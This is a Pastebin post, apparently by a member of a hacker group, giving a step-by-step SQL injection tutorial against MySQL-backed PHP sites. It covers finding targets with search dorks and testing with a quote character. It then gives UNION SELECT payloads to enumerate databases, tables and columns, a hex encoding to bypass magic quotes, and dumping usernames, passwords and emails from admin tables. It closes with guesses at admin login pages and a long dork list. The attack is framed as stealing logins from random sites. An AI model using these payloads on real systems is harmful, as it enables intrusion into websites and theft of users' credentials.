Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- My Facebook Id:-https://www.facebook.com/virus.upgraded
- TEAM:-Middle East Cyber Army
- My nick:-AnAcOnDa
- Here we Go :)
- Here you will find a very detailed, step BY step tutorial written BY me (PhortyPhour) ON SQL injection. This IS purely FOR educational purposes AND IS TO be used AT the discretion OF the reader.
- First we have TO know what SQL injection IS exactly.
- SQL injection IS a code injection technique that exploits a security vulnerability occurring IN the DATABASE layer OF an application. The vulnerability IS present WHEN USER input IS either incorrectly filtered FOR string literal escape characters embedded IN SQL statements OR USER input IS NOT strongly typed AND thereby unexpectedly executed. It IS an instance OF a more general class OF vulnerabilities that can occur WHENEVER one programming OR scripting language IS embedded inside another. SQL injection attacks are also known AS SQL insertion attacks.
- That IS the first paragraph OF the wikipedia page FOR SQLi (SQL injection) found here:
- http://en.wikipedia.org/wiki/SQL_injection
- I would advise reading the entire page.
- What IS covered IN this tutorial?
- Part One - Website Assessment
- Section One - Finding a vulnerable website
- Section Two - Determining the amount OF columns
- Section Three - Finding which columns are vulnerable
- Part Two - Gathering Information
- Section One - Determining the SQL version
- Section Two - Finding the DATABASE
- Part Three - The Good Stuff
- Section One - Finding the TABLE names
- Section Two - Finding the COLUMN names
- Section Three - Displaying the COLUMN contents
- Section Four - Finding the admin page
- Now let's begin.
- Part One - Website Assessment
- In order for us to start exploiting a website we must first know exactly what we are injecting into. This is what we will be covering in Part One along with how to assess the information that we gather.
- Section One - Finding a vulnerable website
- Vulnerable websites can be found using dorks (I will include a list at the end of this tutorial), either in Google or with an exploit scanner. For those of you that are unfamiliar with the term "dorks", I will try to explain.
- Dorks are website URLs that are known to be vulnerable. In SQL injection these dorks look like this:
- Code:
- inurl:buy.php?id=
- This will be inputted into a search engine and because of the "inurl:" part of the dork, the search engine will return results with URLs that contain the same characters. Some of the sites that have this dork on their website may be vulnerable to SQL injection.
- Now let's say we found the page:
- Code:
- http://www.site.com/buy.php?id=1
- IN ORDER TO test this site ALL we need TO DO IS ADD a ' either in between the "=" sign and the "1" or after the "1" so it looks like this:
- Code:
- http://www.site.com/buy.php?id=1'
- OR
- http://www.site.com/buy.php?id='1
- After pressing enter, if this website returns an error such as the following:
- Code:
- Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home1/michafj0/public_html/gallery.php on line 7
- Or something along those lines, this means it's vulnerable TO injection.
- IN the CASE WHERE you are TO find a website such AS this:
- Code:
- http://www.site.com/buy.php?id=1&dog;catid=2
- THEN you must USE the same technique WITH adding a ' except it must be between the value (in this case the number) and the operator (the "=" sign) so it looks like this:
- Code:
- http://www.site.com/buy.php?id='1&dog;catid='2
- There are programs that will do this for you but to start off I would suggest simply to do things manually, using Google, and so I won't post ANY FOR you guys. IF you feel so compelled TO USE one anyways. I recommend the Exploit Scanner BY Reiluke.
- Section Two - Determining the amount OF columns
- IN ORDER FOR us TO be able TO USE commands AND get results we must know how many columns there are ON a website. So TO find the NUMBER OF columns we must USE a very complex AND advanced method that I LIKE TO CALL "Trial and Error" WITH the ORDER BY command Biggrin
- NOTE: SQL does NOT care whether OR NOT your letters are capitalized OR NOT AND I'm just doing it out of clarity, for all it cares your queries could look like this:
- Code:
- http://www.site.com/buy.php?id=-1 CaN I HaZ TeH PaSSwOrDs? PLz aNd ThX
- IT DOESN'T MATTER (btw please don't think that was an actual command).
- So back to the ORDER BY command. To find the number of columns we write a query with incrementing values until we get an error, like this:
- Code:
- http://www.site.com/buy.php?id=1 ORDER BY 1-- <---No error
- http://www.site.com/buy.php?id=1 ORDER BY 2-- <---No error
- http://www.site.com/buy.php?id=1 ORDER BY 3-- <---No error
- http://www.site.com/buy.php?id=1 ORDER BY 4-- <---No error
- http://www.site.com/buy.php?id=1 ORDER BY 5-- <---ERROR!
- This means that there are four columns!
- DON'T FORGET TO INCLUDE THE DOUBLE NULL (--) AFTER THE QUERY.
- VERY IMPORTANT!
- Section Three - Finding which columns are vulnerable
- So we know that there are four columns now we have TO find OUT which ones are vulnerable TO injection. TO DO this we USE the UNION AND SELECT queries WHILE keeping the double NULL (--) at the end of the string. There is also one other difference that is small in size but not in importance, see if you can spot it.
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,2,3,4--
- IF you couldn't spot the difference, it's the extra NULL IN BETWEEN the "=" SIGN AND the VALUE (the NUMBER).
- buy.php?id=-1
- Now after entering that query you should be able TO see some numbers somewhere ON the page that seem OUT OF place. Those are the numbers OF the columns that are vulnerable TO injection. We can USE those columns TO pull information FROM the DATABASE which we will see IN Part Two.
- Part Two - Gathering Information
- IN this part we will discover how TO find the name OF the DATABASE AND what version OF SQL the website IS USING BY USING queries TO exploit the site.
- Section One - Determining the SQL version.
- Finding the version OF the SQL OF the website IS a very important step because the steps you take FOR version 4 are quite different FROM version 5 IN ORDER TO get what you want. IN this tutorial, I will NOT be covering version 4 because it really IS a guessing game AND FOR the kind OF sites that are still USING it, it's not worth your time.
- If we look back to the end of Section Three in Part One we saw how to find the vulnerable columns. Using that information we can put together our next query (I will be using column 2). The command should look like this:
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,@@version,3,4--
- Because 2 is the vulnerable column, this is where we will place "@@version". Another string that could replace "@@version" is "version()".
- If the website still does not display the version try using unhex(hex()) which looks like this:
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--
- NOTE: If this method must be used here, it must be used for the rest of the injection as well.
- Now what you want to see is something along these lines:
- Code:
- 5.1.47-community-log
- Which is the version of the SQL for the website.
- NOTE: If you see version 4 and you would like to have a go at it, there are other tutorials that explain how to inject into it.
- Section Two - Finding the database
- Finding the name of the database is not always a necessary step to take to gather the information that you want, however in my experience folllowing these steps and finding the database may sometimes lead to a higher success rate.
- To find the database we use a query like the one below:
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata--
- This could sometimes return more results than necessary and so that is when we switch over to this query instead:
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,concat(database()),3,4--
- Congrats! You now have the name of the database! Copy and paste the name somewhere safe, we'll need it FOR later.
- Part Three - The Good Stuff
- This IS the fun part WHERE we will find the usernames, emails AND passwords!
- Section One - Finding the TABLE names
- TO find the TABLE names we USE a query that IS similar TO the one used FOR finding the DATABASE WITH a little bit extra added ON:
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=DATABASE()--
- It may look LONG AND confusing but once you understand it, it really isn't so I'll try TO EXPLAIN. What this query does IS it "groups" (group_concat) the "table names" (table_name) together AND gathers that information "from" (FROM) information_schema.tables WHERE the "table schema" (table_schema) can be found IN the "database" (DATABASE()).
- NOTE: WHILE USING group_concat you will only be able TO see 1024 characters worth OF tables so IF you notice that a TABLE IS cut off ON the END switch over TO limit which I will EXPLAIN now.
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1--
- What this does IS it shows the first AND only the first TABLE. So IF we were TO run OUT OF characters ON let's say the 31st table we could use this query:
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 30,1--
- Notice how my limit was 30,1 instead of 31,1? This is because when using limit is starts from 0,1 which means that the 30th is actually the 31st Tongue
- You now have all the table names!
- Section Two - Finding the column names
- Now that you have all of the table names try and pick out the one that you think would contain the juicy information. Usually they're tables LIKE USER(s), Admin(s), tblUser(s) AND so ON but it varies BETWEEN sites.
- After deciding which TABLE you think contains the information, USE this query (IN my example, I'll be using the table name "Admin"):
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="Admin"--
- This will either give you a list of all the columns within the table or give you an error but don't panic IF it IS outcome #2! ALL this means IS that Magic Quotes IS turned ON. This can be bypassed BY USING a hex OR CHAR converter (they both WORK) TO CONVERT the normal text INTO CHAR OR hex (a LINK TO a website that does this will be included AT the END OF the tutorial).
- UPDATE: IF you get an error AT this point ALL you must DO IS follow these steps:
- 1. Copy the name OF the TABLE that you are trying TO ACCESS.
- 2. Paste the name OF the TABLE INTO this website WHERE it says "Say Hello To My Little Friend".
- Hex/CHAR Converter
- http://www.swingnote.com/tools/texttohex.php
- 3. Click CONVERT.
- 4. Copy the string OF numbers/letters under Hex INTO your query so it looks LIKE this:
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x41646d696e--
- Notice how before I pasted the hex I added a "0x", ALL this does IS tells the server that the following characters are part OF a hex string.
- You should now see a list OF ALL the columns within the TABLE such AS username, password, AND email.
- NOTE: USING the limit FUNCTION does WORK WITH columns AS well.
- Section Three - Displaying the COLUMN contents
- We're almost done! All we have left to do is to see what's inside those columns AND USE the information TO login! TO VIEW the columns we need TO decide which ones we want TO see AND THEN USE this query (IN this example I want TO VIEW the columns "username", "password", AND "email", AND my DATABASE name will be "db123"). This IS WHERE the DATABASE name comes IN handy:
- Code:
- http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM db123.Admin--
- IN this query, 0x3a IS the hex VALUE OF a colon (:) which will GROUP the username:password:email FOR the individual users just LIKE that.
- FINALLY! Now you have the login information FOR the users OF the site, including the admin. ALL you have TO DO now IS find the admin login page which brings us TO Section Four.
- Section Four - Finding the admin page
- Usually the admin page will be directly off OF the site's home page, here are some examples:
- Code:
- http://www.site.com/admin
- http://www.site.com/adminlogin
- http://www.site.com/modlogin
- http://www.site.com/moderator
- Once again there are programs that will find the page for you but first try some of the basic guesses, it might save you a couple of clicks. If you do use a program Reiluke has coded one for that as well. Search Admin Finder by Reiluke.
- And that conlcudes my tutorial! I hope it was helpful to some of you. Remember to keep practicing and eventually you'll have ALL OF the queries memorized IN no TIME!
- COMMENT AND Rate!
- Give credit WHERE credit IS due!
- I DO keep my promises so here IS what I said I would include:
- Dork List
- trainers.php?id=
- article.php?ID=
- play_old.php?id=
- declaration_more.php?decl_id=
- Pageid=
- games.php?id=
- newsDetail.php?id=
- staff_id=
- historialeer.php?num=
- product-item.php?id=
- news_view.php?id=
- humor.php?id=
- communique_detail.php?id=
- sem.php3?id=
- opinions.php?id=
- spr.php?id=
- pages.php?id=
- chappies.php?id=
- prod_detail.php?id=
- viewphoto.php?id=
- VIEW.php?id=
- website.php?id=
- hosting_info.php?id=
- gery.php?id=
- detail.php?ID=
- publications.php?id=
- Productinfo.php?id=
- releases.php?id=
- ray.php?id=
- produit.php?id=
- pop.php?id=
- shopping.php?id=
- productdetail.php?id=
- post.php?id=
- section.php?id=
- theme.php?id=
- page.php?id=
- shredder-categories.php?id=
- product_ranges_view.php?ID=
- shop_category.php?id=
- channel_id=
- newsid=
- news_display.php?getid=
- ages.php?id=
- clanek.php4?id=
- review.php?id=
- iniziativa.php?IN=
- curriculum.php?id=
- labels.php?id=
- look.php?ID=
- galeri_info.php?l=
- tekst.php?idt=
- newscat.php?id=
- newsticker_info.php?idn=
- rubrika.php?idr=
- offer.php?idf=
- There are more extensive lists OF dorks that can be found.
- Hex/CHAR Converter
- http://www.swingnote.com/tools/texttohex.php
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement